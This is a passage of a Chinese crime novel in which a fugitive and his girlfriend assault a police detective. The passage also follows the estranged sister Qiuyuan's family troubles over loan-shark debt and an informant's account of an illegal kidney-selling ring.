两人停在路口,贴着墙面,仔细听着声音,突然林凯拉着沈榕的手一用力,把她整个人推了出去,举起右手里的铁棍直接砸了下去。
沈榕毫无防备地向前倒,没想到真的有人靠近,转眼间她丝毫没意识到林凯的铁棍已经举到她身后。
那人接住了沈榕,抓着她顺势一转身,那一闷棍结结实实地砸在了后脑勺。
惊慌失措中沈榕好不容易才站稳,就听见倒地的声音,回头看到一个人扑到在地上,林凯则疯了般冲着那人一阵乱打。
倒地的人反应也快,迅速在地上转了个身,胳膊挡在身前挨了几棍,找准时机一脚踹在林凯的右膝盖上。
林凯吃痛,踉跄着退了两步,地上的人伺机起身,只是挨的那几下着实用力,摇摇晃晃地还站不稳。
林凯挥着铁棍冲上来,另一人虽负了伤行动上有些迟缓,但应变能力观察能力都明显优于林凯,林凯几次挥动铁棍都已经打不到他了,反而被那人踢到手腕,铁棍掉在了地上滚在一旁。
沈榕不知怎么就理解了林凯的眼色,在两人胶着时捡起那根铁棍,深呼吸两只手抓紧了铁棍,在那人钳制住林凯的片刻朝着他的后背砸了下去。
这一下被林凯寻了空子,不知从哪里摸出把刀捅在那人的胸口,迅速拔出又一刀捅向腹部,只是这一下,被那人钳制住手腕没有得手。
僵持中那人用膝盖给了林凯一下,林凯捂着肚子躲闪不及,显然对眼前的进站也有些惊吓,没反过来似的瞪大了眼退了两步,不可置信地看着自己手里带血的刀,又看向那人,只见他捂住伤口一下子跪倒在地,缓缓地倒在了地上。
见状,林凯吐了口口水,把刀的血在身上抹了抹,眼下不知该如何处理这把刀,只能先拉着神魂落魄的沈榕跑了。
“那人是谁?”
林凯不答,兴冲冲地往前跑,沈榕心里越来越觉得不对劲,挣脱他的手停下来,嘶吼道:“那个人到底是谁?”
林凯不安地四下瞄
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了一圈,踱着步走近贴着她的耳朵说:“警察。”
那一刹那,沈榕感觉自己的心脏停了,长吸一口气难以置信地说:“警察!”
“你小点声!”林凯黑着脸说。
“你,你这是袭警!你,你,是把他,把他杀了?”
林凯不安地来回走,显然对沈榕的话极为不耐烦,走到她面前指着她的脸说:“别忘了你干了什么,现在咱俩是一根绳上的蚂蚱,不想蹲局子就给老子闭嘴。”
橘子酒吧外的深巷,几个人在黑暗中看不清身影,不时传来男人的尖叫声。
陆川背对着那几人,听声音那男人又挨了几拳倒在了地上,他转过身伸手动了动手指,示意站着的那几个人把他弄起来。
那人吐了口血水,恶恨恨地说:“陆川,你这么干,不怕我找老板让你吃不了兜着走!”
陆川弯下腰,拍了拍他的脸,语调里满是遗憾,“那还真是可惜了,你破了规矩在前,想吃不了兜着走,也得自己好好尝尝。”
“你别以为仗着康静山我老板就奈何不了你!告诉你我老板眼里他康静山连个屁都不是!”
话音刚落,这人脸上就结结实实挨了一拳头。
“你知道你刚说了什么吗?看来是我对你太仁慈了,接着打,留口气就行,打完了扔远点,晦气。”
秋原在酒吧后门门口,隐约听见声响,陆川已从黑暗中走了回来。
“回去吧这事你不用管了。”
“好。”秋原转身回去的瞬间,把攥在手里的卡片塞在了裤兜里。
沈榕罕见地回了家,更罕见的是一回来一声不响地把自己关在卧室里,沈母听到动静从床上起来,问她有没有吃晚饭,但一直都没回音。
“看你这样晚饭没吃吧?晚上的菜还有好些,妈给你热一热,出来吃点饭跟妈唠唠嗑,你说说你也是的,妈不就说了你两句嘛这一年到头的都不回家,学你不想上咱就不上,妈看你现在在那个什么连锁酒店也干得挺好的,也算个正经营生,妈不逼你考大学了,哎榕儿?你开开门,不吃饭怎么行。”
门突然开了,出现在沈母面前的是她从未露出这般神色的沈榕,愤怒与恐惧交织在一起,眼里含着泪,嘴唇还在发抖。
沈母的心一沉,感觉大事不好,说话也不利索了,“你这是,这是,怎么了?”
沈榕哇地一声放声大哭。沈母听她讲了事情经过,整个人也跟着紧张了起来,浑身不自觉地颤抖。
“那,那个男的呢?你男朋友,你说说你都交的什么人!都是些不三不四的!烂人!把你害成什么模样了!”
“他早跑了,不知道躲哪儿去了。”沈榕带着哭腔说道,“干脆我直接到警察局里自首得了。”
“不行不行!”沈母把想站起来的沈榕按在了床上,“你是我闺女哪儿能坐牢啊!坐牢你后半辈子就毁了。”
“那怎么办啊!”
沈母问得了沈泠在的那家酒吧的位置,叮嘱她待在家里不要出门,即使是她爸爸回来了也不要开门。
沈泠不知她母亲知道沈泠上班的地方是要干嘛,但此时毫无办法的她也只能听从了。
20. 知了的尸体 04
秋原刚从楼上下来就被服务员岳楼拦住,他低声说:“秋原啊你总算出现了。”
“怎么了?”
“有个自称你妈的人来了赖在店里死活不肯走!”
秋原越过岳楼的身影,在晃动的人影中果然看到一个身形偏胖的人坐在一靠近门口的凳子上,与周围的一切格格不入,心里咯噔一下,她知道自己既然回来了,就早晚会有这么一天,可过了这么久,她依旧不知该如何面对。
“好我去看看。”
秋原径直走过去,那位妇女抬头看到她,不出两秒的功夫猛地起身冲过来,抓着她的手不松开,近乎嘶吼道,“泠儿啊我总算找着你了,这么多年你跑哪儿去了?”
秋原试着把手抽出来,脸上的肌肉僵硬得挤不出来一个笑容。她的面容看着老了不少,皱纹不由分说地平添在眉宇之间
“这是什么情况啊?”跟随她过来的岳楼伏在她耳边说:“我去叫川哥?”
秋原抓住了他的胳膊,示意他别去。
“泠儿啊你可一定要想想办法啊不然榕儿她,她可……”话没说完妇女就作势哭了起来。
秋原听闻这话,心一下子跌到谷底,理了理情绪,客气地说道:“不好意思,我是秋原,您恐怕是认错人了。”
“不可能!我孩子我怎么可能认错!泠儿啊妈知道这么些年你受委屈了,妈一直都想你一直都在找你啊。妈知道你现在混得很好,我要是有别的办法,也绝不会来麻烦你啊!”
岳楼见她不依不饶,走上前一步试图劝妇女离开,“这位女士,店里还在营业……”
秋原最终还是抬手按住了他的手,“我来处理。”
说完,她拉着妇女出了酒吧。
听沈母讲完事情的经过,秋原静静地站立着,沈母哀号着晃着她的肩膀,她不能接受自己的闺女进监狱。
“你在酒吧,肯定认识人多,还有那些见不得人的人,找找关系看怎么样能不找榕儿的事。”
秋原很想冷笑一声,但惯于克制的大脑不允许她做出这个反应,她冷冷地说:“这件事我帮不了,尽早让她去警察局说明情况吧。”
“哎哎不行你别走!你走了我就在这儿耗着,让大家看看还有你这么冷血无情的人,自己的妹妹都见死不救,我看还有谁来你们酒吧。”
秋原的脚步停了下来,她突然后悔了,从拉她出来时起,就已经甩不掉她了,包括她背后的一切。
“我去问问情况,你先回去。”
沈母大喊一通,意犹未尽地边走边喊,“你记着啊我们全家的命都在你手里!你要见死不救……”
秋原没有听完就钻进了酒吧里。
二楼的窗户里亮着灯,妇女逐渐走远,人影从窗前消失。
秋原告了假,急匆匆地赶往警察局,想找江岩,或是给个地址,被值班民警警惕地盯了好久,支支吾吾地回答是认识的朋友有点私事。
“哎乔树,这儿找江队的你认识吗?”
乔树急匆匆地从办公室出来,手里拿着资料,看到秋原大为吃惊,“是你?有什么事?”
“我,我问一下江岩在吗?”
听到江岩的名字,乔树的目光打量起来,“他,不太方便。”
“你能联系上他吗?我有些话想跟他说。”
乔树开着车,无人的街道上开得飞快,路灯一个接连着一个闪过,秋原不知为何有些心虚,不敢去看他的脸。
“你找他,是关于这件事?”
秋原仔细斟酌,是或不是,她真的没有想到出事的警察会是江岩,一时间不知该如何回答。
“你回警局,是调查林凯吗?”
“林凯?我好像没有提过这个人。”乔树警惕地瞥了她一眼,神色凝重。
“他伤得重吗?”
乔树还很少能碰到不入他的套的人,三番五次,看来这个人确实不简单。他轻咳一声,说道:“基本上脱离危险了,不过需要静养一段时间。”说完,不留痕迹地观察着她的反应。
到了市中心的医院,分局一个小民警在病房外,见到乔树毕恭毕敬地汇报了情况。医生也不敢保证他什么时候能醒来。
乔树站在病床前,此刻躺着的人倒没有那么招人厌。但他并不希望是以这种方式。
“林凯,抓到了吗?”
乔树转身瞪着她,大概真正看到眼前受伤的人激发了他的怒火,他少有的失态,“你到底是什么人?跟江岩受伤有什么关系?非得等我把你抓回局里才肯老实坦白?”
秋原比他想象中木讷得多,先是茫然地看着怒火中烧的他,等她反应过来他话语中的深意,似有几分失落地说:“你知道我以前是谁,我带你去见一个人。”
开车往南走,不知走了多远的距离,到了一处小区,住在这里的人,基本上都是拆迁分配过来的。
乔树跟着她绕了几个圈,差点让乔树以为她不识路,这才找到。两人上了楼,402室,她按了门铃。
响了好久,门才开,还只开了一条缝,“你带的这是谁回来了?”
“没事您开门吧。”
乔树在客厅里站着,观察着四周,生活气息很浓重,杂物堆放得整个房子满满当当。他隐约听到厨房传来的声音。
“……既然警察不知道是谁,那,那你替榕儿去认罪,反正天那么黑,谁知道那个警察有没有看清人,再说了榕儿还小……”
厨房玻璃门被推开,秋原神魂落魄地冲了出来,正好撞见乔树的目光,没等他说些什么,她就跑到卧室门前,重重地敲响了房门。
“哎榕儿好不容易睡了……”
沈母冲过来阻止,卧室门已经开了,沈榕憔悴地抓着门把手,看到站在门口的秋原,一时惊讶地不知说什么。
“你来,跟乔警官说下林凯的情况。”
沈榕局促地坐在沙发上,她这才知道那个警察就是之前来找过她的人,“我,我真不知道那个人是他,不是,我真不知道他是警察。”
“我问你,你是什么时候认识这个名叫林凯的人?”乔树正襟危坐,口气也容不得半分感情。
“差,差不多,四五个月前?”
“你认识他时,他就叫林凯吗?”
“是,是的。”
“那时他有接近的人吗?”
沈榕陷入了沉思,费力地追溯着此前的记忆,“没,没见过,我跟他在一块,呸,认识三个月了才见过他朋友。”她把她认识的知道名字的人都说了一遍。
乔树拿出几张照片让她辨认,问了很多问题,包
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括当时发生的事,沈榕一一作答,唯独隐瞒了自己干的事。
两人离开时,天已快亮了。
“沈榕她……会不会被抓?”
“她干了什么?”乔树反问道。
“不,我是说,沈榕她这算是帮助警方工作了吧?那个林凯很快就会被抓住了吧?”
乔树不太能理解她说的这番话,“林凯这个人,用的是假名,据调查基本上可以确定他的真实身份,之前因为争执杀了人,逃到了本市。”
“那跟沈榕,没什么关系是吧?”
乔树直视着她,似乎想要将她看透,“沈榕,我没记错的话,十多年前你失踪后,跟沈家人再没联系过,回到须燕市后你也没回沈家,怎么?现在是想替沈榕说什么?”
秋原咬了下嘴唇,低下头四下瞄了几眼,“没什么,您当我多嘴了。”
“我去趟医院,你是等我带你回去,还是现在走?”
秋原挤出个无比僵硬的笑容,摇着头说:“不麻烦您了,我自己回去,江岩他……算了没事,希望他早点好起来。”
在那之后,沈母又来酒吧找秋原,询问案子的进展,沈榕到底是怕林凯会因为打击报复她,一直呆在家里不敢出门。
门铃响了好几次,沈榕终于从卧室里探出脑袋,老妈不知又去了哪里,她慢吞吞挪到门口,门铃声没停过,屏住呼吸趴在门上瞄,一张极为欠揍的脸。
“怎么是你呀?”
黄毛男生看到门开后出现的沈榕立刻笑得格外灿烂,“我还以为你真不在家呢。”
沈榕警惕地探出脑袋望了门外,拉他进来,还反锁上了门。
“你这是干什么呀?”
“看不懂啊!关门啊!”沈榕没好气地说。
男生一下子就软了下来,嬉笑着说:“我去按摩店找你你也不在,好几天都没你消息,我还担心你,”
“担心我?怕不是你在背后咒我我才这么倒霉!”沈榕气乎乎地坐在沙发上。
男生像是小狗一样紧跟着坐在她旁边,“怎么了怎么了?出什么事了?你跟我说说,我帮你解决。”
被他这絮叨的话搞烦了,沈榕吼道,“解决什么解决,我要坐牢了你怎么解决!”
男生吃惊地说不出话来,“坐,坐牢?榕儿你干什么了?”
“还不是那个林凯,打警察还扯上我,真是跳进黄河也洗不清!”
“你别担心,要坐牢我替你坐!”男生认真地说拍拍胸口。
沈榕难以置信地看着他,还稚气未退的脸上写满了坚定,她并不觉得感动,反而是气愤,“说这话你过大脑了吗!警察都知道我是女的你怎么替我坐牢?白痴!”
“我,我……”
“行了你赶紧回去!我还在等消息。”说完不由分说地赶他出门。
“榕儿我说认真的,不行的话我可以替你坐牢的!”
沈榕瞪了他一眼,他赶紧捂上了嘴。
“我还一直想问你呢,你怎么染成个黄毛?”
“你不是喜欢男生这个发色吗?我看你之前男朋友都是这个颜色,你不喜欢吗?不喜欢我就换别的颜色。”
沈榕感到极度的无语,说不出话来,是真的不想看到他那张无辜单纯的脸,决绝地关上了门。
21. 知了的尸体 05
秋原送几个喝醉的女孩子上了一辆出租车,紧跟着出租车司机林剑林师傅送了几个人在酒吧门口下车,他车里的广播正播放着晚间新闻。
“……警方破获一起跨省杀人案,嫌疑人李某于两年前故意杀人后逃窜,半年前逃到本市,化名林凯,已于近日在本市的一处酒吧被抓获……”
“哟,秋原呐!”林师傅热情地打招呼。
秋原回过神来,点点头,“林师傅。”
她走到门口,突然想起什么,冲着吸烟的林剑喊:“林师傅,您先别走,我等下去个地方。”
陆川不在楼下,她匆匆跟正调酒的耿山南说:“山南哥,我出去一趟今晚上不回来了,麻烦您跟陆川说一声。”
耿山南手上的动作慢了下来,“急事?我送你?”
“不用麻烦您了,林师傅在门口,我先走了,再见。”
“你这是去医院看谁啊?不是你生病了吧?”林师傅关切地问道,换了个频道,广播里放着悠扬的歌声。
“去看,”她顿了一下,紧接着说:“一个认识的人,可能还算不上朋友。”
到了市医院门口,秋原给林师傅车费,他怎么都不肯收,她无奈留在座位上急忙下了车。
楼道里,秋原小心地看着周围的环境,到了病房门口时,她站定,深吸了一口气,抬眼望向病房的瞬间,不知为何突然跳到了很多年前,她也曾这样来看望过一个人,江岩的妹妹。
她的记忆回到很远的地方,在医院楼下的长椅上坐着,江黎跳了楼,脑海中出现拥挤的人群,挡不住的血,一辆黑色的轿车,她隐约看到一个模糊的背影,她在本子的背面上写下了什么。
“你哪位?”护士小姐站在她身后,她赶忙往旁边缩了一下让开了路,“我,我来看人。”
“你也来看江队长吧,这几天看他的人真不少。”护士说着声音里带了笑,“你是他女朋友呀?”
“不不,不是。”
护士意味深长地看了她一眼,推开了病房门,给病床上的人做例行检查,“江队长恢复得很好,再过几天就可以出院了。”
江岩靠在被子上长叹一口气,“我都快闷死了。”
护士打趣道,“这每天都换着人来看你,你还闷啊?”
“都是你这家伙,把消息捅出去!”江岩此时的眼神像要将窗户旁坐着的乔树杀死。
乔树无奈地摊开手,“我不说实情,二队长也不肯给你善后啊。”
“还让他来笑了我好几天!我真谢谢你!”
乔树一脸自己人不用客气的欠揍表情。
“哎对了今来看你的小姑娘,”护士一回头,这才发现没人,“这小姑娘怎么没进来?”
江岩和乔树对视一眼,乔树起身出门去看,秋原背靠墙站着。
“你来看江队?怎么不进来?”
乔树像是领头的母鸡一样把秋原领了进来,护士检查好出了病房。
秋原像是个做错事等着受罚的孩子,江岩看她这副模样,也不知何时才能开口,“乔如意跟我说了。”
见秋原还是不接话,他接着说:“案子已经结了,跟沈榕没什么关系,张队长已经批评教育过她了。”
秋原回味着这句话,终于抬起头看着他,“沈榕和她妈妈都没跟我说,但是,她是不是做过什么?不然,她不会这么害怕。”
乔树的眉毛一皱,转而盯着床上的人。
“我替她,跟你道个歉。”说着鞠了个躬。
“你凭什么替她?以秋原,还是沈泠的身份?”乔树就知道躺在病床上缺胳膊少腿的江岩,嘴巴也绝对甜不了。
乔树有时真觉得她是属核桃的,壳硬得不行,油盐不进,这不,此时又恢复了沉默怎么都不说。但其实她只是不知该如何回答,无从说起。
“行了,别在我这儿哭丧着脸了,好在我福大命大,犯人也抓住了,不过我得提醒你一声,沈榕看人的眼光真的得提高提高。”
秋原满是感激地看着他,“谢谢你。”
“对了,我,能问你个问题?”秋原本离开的步伐停住了,试探性地问道。
“什么问题?”
她看了一眼乔树,目光落在江岩身上,“江,江黎,”
听到这个名字,江岩的心里咯噔一下。
“江黎跳楼前,是不是见过什么人?”
“你怎么这么说?”
“刚在门口的时候,我想起来,我也去医院看过她,不过没敢进去。”
江岩的视线慢慢放低,眼睛失去了焦点,“江黎跳楼的时候,我和我妈都不在病房。我从楼下上来,倒是有几个人从另一侧的楼梯下去,我回到病房的时候,她已经跳下去了。”
他正了正嗓音,恢复如常,“后来我跟警察说了,他们调查发现那几个人是去看同一楼层的其他人。”
秋原的眼睛紧紧地跟随着他,急切地想得到什么,“你相信警察吗?”
江岩冷笑一声,“你知道你是在跟谁说这句话吗?”
她这才意识到这个问题有些欠妥,“对不起。”
“你为什么会问江黎见过谁?”
“没,没什么。”正当秋原不知怎么含糊过去时,病房门被推开,跑进来一个娇小的女生。
女生看到躺在床上的江岩,越过秋原时还撞到了她,扑在江岩身上抱着他,“你出事怎么不跟我说!”
女生的声音带着哭腔,看样子委屈得要哭出来,“伤得这么重!现在感觉怎么样?还有没有哪里不舒服?不舒服一定不要硬扛!”
江岩宠溺地笑着,理了理女生的头发,捏了捏她的脸,“没事没事,看我这不都好了?”
女生仔细打量了一番,除了还包扎的伤口,其他外伤已经好得差不多了,“真吓死我了!不是说好不许瞒着我吗?”
秋原松了口气,跟乔树示意先走了,江岩安慰了女生两句,跟乔树说:“这么晚了,你把秋原送回去,路上注意安全。”
两人一前一后出了门。
“你失踪的这几年去了哪里?”乔树感觉这个人隐瞒了很多事情,习惯性地得空就想套话。
秋原看着红绿灯上跳动的数字,“好心人收养。”
“好心人?那你怎么回来了?”
“我也没想过会再回来,碰巧到了这儿,就没再走。反正也没什么人认识我。”
“为什么不回家?”
“回家?”她冷笑一声,“你不也清楚吗,我没家。”
乔树看了她一眼,想起之前在沈家无意得知的,沈母想让久别重逢的大女儿为犯了错的二女儿定罪,昏暗中再为漠然似乎都情有可原,纵使他是个极为理性的人,此刻也不想再追问下去。
秋原下车后
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,乔树停了会儿,直到看不到她的背影,不知为何突然想到她在病房里问江岩的话。
江黎死前见过谁吗。
他想起姜雪峰自杀后,江岩也说过类似的话,他肯定也注意到了,好在柯璃月在医院,不然他可能回去看着某人了。
他又细细斟酌其中的关联,是巧合吗?
沈榕跺着脚从后门钻进了按摩店,搓着手哈着气说:“冻死了怎么这么冷!”
正好叨叨进到休息室,沈榕伸着双手贴到她脸上,引得叨叨一声尖叫,“好冰啊!”说着推开她搓了搓自己的脸,“哎你那个姐姐,酒吧的那个来了,在前面等着你呢!”
沈榕脱下大衣,嘀咕道“她怎么来了。”
“你找我?”
秋原回过头,两人一点都不像,外形性格方面无丁点的重合。
沈榕本打算去街上的咖啡店喝杯咖啡,被秋原拒绝了,“我就说几句话。”
“你要是打算让我谢你,我劝你还是免了。”
明明是秋原年长,但沈榕素来鼻孔看人,此时也是盛气凌人得不可一世。
“不是,我想请你帮个忙,十多年前我失踪的时候,书包也丢下了,我知道可能性不大还是想问,那个书包有找到吗?现在还在吗?”
沈榕对她的话全然不解,眯着眼一副看外星人的表情,“你要那书包干嘛?书包是还在,不过你不要以为家里谁还想着你,我妈那人你也知道,无非是来个人做个场面活。”
“你能……”
“我可以拿给你。”沈榕不由分说地打断她的话,“两天后你来店里拿,我要是不在就找叨叨。”
“好,谢谢。”
“你不用谢我,本来就是你的东西,尽早拿走也好,还有,我妈要是找你,跟你要钱,你不要理她。”说完头也不回地返回店里去了。
秋原来拿书包时,沈榕果然不在,叨叨微笑着让她等下,蹦跳着跑回休息室取了书包,“给,榕嘱咐我的,给你。”
她接过书包,小小的一个红书包,时间久了款式也很老土,破破烂烂的没型没样。
许是被笑容灿烂的叨叨感染到,她也回以一个微笑,“沈榕没跟我说,你知道她家里有什么事吗?”
叨叨的笑容僵在脸上,一时不知该不该开口,她降低音量悄声说:“你说的是她家里欠钱的事吧,榕她爸妈的钱被骗了,后来借钱填上了,榕才知道他们借的是高利贷,钱滚钱现在房子都押出去了。你可别说是我说的啊!我先溜了。”
秋原小心翼翼地把书包抱回家,坐在地板上把里面的东西翻出来,语文课本,练习本,铅笔盒,都旧得不能再旧了,很多年前很小的时候的东西了,现在看到竟然还会有些熟悉的感觉。
大概是泡过水的缘故,练习本拿起来感觉要碎成渣了,她轻轻地翻开本子,铅笔字迹已经淡得要散去了。
翻到背面,竟然是空白的,她不甘心地又翻了几页,终于看到了几道模糊的痕迹,勉强能拼凑出最后几位数“6740”还是“8740”,她把这几个字牢牢记住,生怕一转眼本子上的字迹就消失了。
她不知从何来的预感,直觉告诉她这几个字跟当年的事脱不了干系,但过了这么多年,也不知这些字换了多少所有者,还是不是当年的人。会不会又是一场空。
想到这些,她的心絮更加混乱了。
22. 知了的尸体 06
高副局坐在办公室的沙发上,饮了口搪瓷茶缸里的茶水,“关于这个案子,还有什么要说的?”
“目前只能确定这伙人在本市有活动,具体情况需要再查查。”
“好,上面领导对这个案子很重视,跨省市犯案而且形成了完整的利益链,你手头其他的事先停停,尽快把这个案子搞定,还有,”高副局看似和蔼,眼神实则犀利,“救助站和江黎的案子,轻重缓急,不用我强调吧?”
“明白。”
“行了,去吧。”高副局看着江岩出了办公室,思量着是不是话说得有些重了,他知道江岩看着毛躁,实际上粗中有细,心细得很,这种事他不用强调也大可以放心,可这两件事同样也搅得他不安宁,不知何时能到头。
“江队,这是您要的资料。”小刘把一摞资料放在江岩一片狼藉的办公桌上,挤了个地方放上。
“你去把这几个地方,最近几年有关器官买卖的新闻报道案卷什么的,都找出来,有需要去找张队协调下。”
小刘接过那张纸看了一眼,“好,我这就去办。乔副队。”
乔树走进办公室点头示意了下,等小刘出门后开口说:“江队,有个人说有你要的消息,要见你一面。”
“什么人?”
“我们线人提供的,说是受害者,但不愿透露姓名等信息。”
“他怎么找来的?”
“据线人说,那人谨慎得很,真假他也尚判断不出。而且那个人不肯露面,不肯到局里来,要约你到外面见。”
“让线人再打探打探,安排一下这两天见面。”
“收到 。”
小刘又急匆匆地赶来,“江队,有个小姑娘找你,说是叫,叫姜海澜。”
听到这个名字,乔树和江岩都转而看着小刘,看得她毛骨悚然,“怎,怎么了?”
“叫她进来。”
江岩抬头看了眼姜海蓝,放下手中的笔,站起身绕过办公桌,“找我什么事?”
“姜雪峰,他什么东西都没留下吗?”姜海蓝直愣愣地瞪着江岩,丝毫畏惧和慌张都没有,有着初生牛犊不怕虎的直率。
“你不应该问你母亲吗?”
“她没告诉我,也不会告诉我。”
江岩看了她几秒,那一刻竟然感觉到江黎的存在,倔强而又蛮横,本到嘴边的话,转了话锋,“你认识秋原吧?姜雪峰的事,她比较清楚,你去找她。”
乔树看着姜海蓝离开办公室,“你跟她说了什么?”
“没什么,”他翻动着手上的案卷,“受害者那个事,尽快确认下,有什么消息及时给到我。”
“是。”
秋原生日到了,她已经十几年没过过生日了,生在冬天的她,在同样冰冷的季节里被买卖,离开家之前的生日,也只是一顿稍微好一点的饭菜。
所以当沈母带着打包的饭菜,还有一个小蛋糕出现在酒吧时,她并没有丝毫的惊喜。她早就忘了她的生日,就像忘了她还有个不知身处何处的亲生母亲一样,她没有生日可言,就像她没有生身父母。
“我问榕儿她也不知道你住哪儿,我就直接带来了。”
好在酒吧还未开始营业,两人坐在一个小桌前,竟比陌生人还多几分生分。
“都是你以前喜欢的菜,看你瘦得是不是不好好吃饭?还热着呢赶紧吃!你现在住哪儿啊?一个人住啊?”
秋原看着桌上摆满的菜,丝毫没有食欲,“您有什么事吗?”
沈母一下子面露难色,“哎哟还是你这孩子懂事啊!妈跟你说啊,家里现在出了点事,被黑心奸商骗了钱,你爸呀背着我偷偷借了高利贷,谁知道那利息有那么高,一时半会也没还上,我们啊,把房子都给押出去了,追债的人满世界追啊!爸妈现在也是走投无路,要不然也不会跟孩子要钱是吧!”
秋原静静地听完,想起沈榕的话,怕是她也无计可施,“我这儿没什么积蓄,帮不了您。”
“哎怎么可能!酒吧多赚钱啊?一杯水都卖老高价,酒啊什么的不都是暴利?来这儿的人也都是有钱人,你怎么可能没收个什么钱攒点私房钱啊?”
“我只拿我的工资,付了房租和吃饭,剩不了什么,您请回吧,店里准备营业了。”
“哎你这孩子怎么好说歹说不明白事呢?那二十多万可是要了我和你爸的老命啊!”
秋原站起来,眼神没有看她,只是又重复了一遍,“您请回吧,店里准备营业了。”
沈母并没有要离开的意思,好话赖话骂骂咧咧一刻也不停,见秋原毫无反应铁了心了打算就这么耗着,直到沈榕和沈父赶到。
“哎你这是干什么啊!”
“妈你来这儿干嘛!”
沈母变了脸色,“怎么你们说我是几个意思?我连自己闺女都不能见?我好歹养了她那么些年,长这么大了都不知道报答一下啊?高利贷你能还得起吗?还是你还得起?”
“哎呦说什么呢!”沈父拉她起来,费了好大劲儿才成功,她还一直不满地想挣脱开。
“你拉我干什么?找你那闺女去呀?你不也同意我来找她吗?咋现在不说了?”
沈父示意沈榕把她拉出去。
“妈你跟我走,走你先出来我有话跟你说。”
沈父这才仔仔细细地看着秋原,“小泠啊,你妈那脾气你知道,别往心里去,她也是被追债的搞得一团糟,不得安宁,也不知道你回来多久了?怎么也不回家去?这么些年都长成大姑娘了啊!”
“我不是你们亲生的,你也不用这么虚情假意,过了这么久了,我都习惯了。”
沈父脸上挂不住,尴尬地一笑,“长大了啊!确实长大了啊!家里啊,也确实没有办法,怎么说,也一家人养了你那么多年是吧,也不是说非要图你回报啥的,就现在家里这情况,要是能帮得上,也不枉咱们一家人啊!”
秋原送了沈父离开,沈母见到她又喋喋不休唠叨起来,“我知道你肯定有钱,反正知道你在这儿上班,今天
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不行我明来,我就不信了,难不成我真养了个白眼狼不成?”
“哎呀妈你别说了!”沈榕和沈父合力终把她拉走了。
秋原回到店里,站在小桌前,看着桌上的饭菜,还有未开封的蛋糕盒,她一股脑把所有都扔进了垃圾桶。
她一回头,看到耿山南,顿时泄了气,“抱歉这些我会收拾好的。”
耿山南把手里的酒放在柜台上,没接话,陆川从楼上下来,感觉气氛不太对,“这怎么了?谁来了?”
秋原微低头,“抱歉,是我……是来找我的,以后不会让他们来店里了。”
陆川点点头,看到耿山南上了楼。
店里的客人渐渐多了起来,岳楼找了一圈才找到秋原,“秋原,南哥找你,楼上。”
秋原不解,山南哥一晚上都没见人,怎么现在突然叫她。上到二楼,才知康静山和陆川也在。
“山南哥你找我?”
“坐。”
客厅连着厨房,这间厨房算是为耿山南量身打造,一张实木长桌占据大半地方,高度差不多和楼下的吧台近似。
秋原坐了下来,康静山罕见地出了房门,窝在对面的实木椅子里,显然没有在意她的出现。
陆川拿了瓶红酒,和几个杯子,秋原愈发不知他们这是要做什么了,不过她闻到了很香的味道,耿山南在厨台前不知做什么。
陆川倒了杯酒,递给康静山,康静山这才抬眼,抬手去接,才发现是红酒,瞬间收回手,显然不太高兴,“怎么拿的这瓶。”
“喝醉了你又要睡了。”
康静山没理他,瞅了瞅耿山南,“南哥我要死了。”
耿山南没回头,听口气是在笑,“饭你不好好吃,只吃甜点怎么行。”
“南哥也就你突然做什么甜点把他勾引出来,要不然他才不会出现在饭桌前。”陆川递了杯酒给秋原,她接下说了声谢谢。
康静山的目光落在秋原身上,“你今天生日?”
秋原突然想起来她扔掉的蛋糕,“大概是今天吧,很久没过过了。”
说着耿山南端着蛋糕,走到桌前放在桌上,康静山一看甜点就不受控,勺子已经握在手里了,要不是今天生日的是秋原,要不是他一贯保持得礼数,想必早就动手了。
“生日快乐,没有蜡烛,还是许个愿吧。”
秋原看着眼前的人,都在等她许愿,一时间说不出话来,双手攥成拳闭上了眼,眼角落下一滴泪,被康静山看到。
她笑着说:“许好了,谢谢你们。”
耿山南拿刀切蛋糕,每一刀都切得很利落,盛放在盘子里一块,康静山抬手去接,耿山南忽视了他的手放到秋原面前,秋原看了看蛋糕,又看了看康静山,突然感觉很好笑,费力忍住这才没笑出声。
耿山南把盘子放在康静山面前时特意叮嘱了一句,“只这一块啊!”
递给陆川时说:“麦子不上来?”
“他在楼下玩得疯呢,不用管他。”
23. 知了的尸体 07
废旧的地下停车场,封闭得透不进来一丝光亮,脚步声咯噔咯噔,走得缓慢,一下一下回荡在空荡的四周,回音浅浅的仍旧摄人心魄。
江岩点了根烟,浑浊而不流通的空气让他很不爽,“说的就是这个地儿?”
“是。”
江岩停下了脚步,环顾了四周,基本上已经适应了昏暗的环境,四周环境和此前考察的一致,他瞄了眼时间,“你去看看,他到哪儿了。”
没出一会儿,乔树带着个人走来,“就是他。”
江岩看不清那人的模样,个头矮小,看着弱不禁风,“说吧,什么情况。”
“你是江岩?”他的声音沙哑,口音很重,不是本地人。
“是我。”
“我怎么确定你是?”
江岩嘴角扯动了一下,掏出警官证,举到那人面前,等那人分辨出上面的字,便放回了兜里,示意他可以开口了。
据男子所说,他十七岁从家乡出来,跟着几个看着吹嘘得华丽花哨的大哥,立志要闯出什么名堂来,谁知被他们骗了,所有的钱都没了,身无分文的他,不甘心地四处飘零,被卖肾广告的丰厚利润所吸引,一时鬼迷心窍就联系上面的人,被带到了这个城市。
在一栋偏僻的独栋平房里住着,好吃好喝地伺候着,同住的还有好多人,都是男的,十几到二三十的不等,说白了都是为了钱。
等了三个多月一直没有音信,期间陆续被带走了三两个人,搞得男人心里毛毛的,犹豫中就想打退堂鼓,那是他第二次见到方天,第一次见到是他刚来这个住所时,方天耐心地听了他的顾虑,说他随时可以离开,男人将信将疑真的走了。
但游手好闲惯了,一下子又沦落街头,不久方天找到了瘦骨嶙峋的他,说是终于有匹配的肾源。
男子一下子不知是喜是慌,稀里糊涂地就跟着方天回去了平房,想着他说的四万块钱,不由得动了心,没过多久就躺在了手术台上。
方天早就准备好了亲人关系证明,医院里的人心照不宣,手术进行得格外顺利。但醒来的男人足足躺了一周才能爬起来,到手的钱,也只剩下两万。
他找方天要个说法,被底下的人忽悠来忽悠去,再没见着方天的面。倒是他,失去了一个肾脏后,身体差的要命,吃了好久的药。
“你们住的房子在哪儿?”
“城北,偏西,之前的樱桃沟,现在已经是嘉海的开发区了。”
“当时的人你还见过谁?方天呢?现在他们在哪儿活动。”
“这伙人只有几个打发我的小喽啰出面,方天不知道在哪儿,之后再没见过,至于他们在哪儿活动,我只知道还在那一片,具体什么地方就不知了。”
男人走路趔趄,走前特意要求再也不要找他,他不会作证,也不会再找方天,这件事就此跟他毫无瓜葛。
“江队,接下来怎么办?”
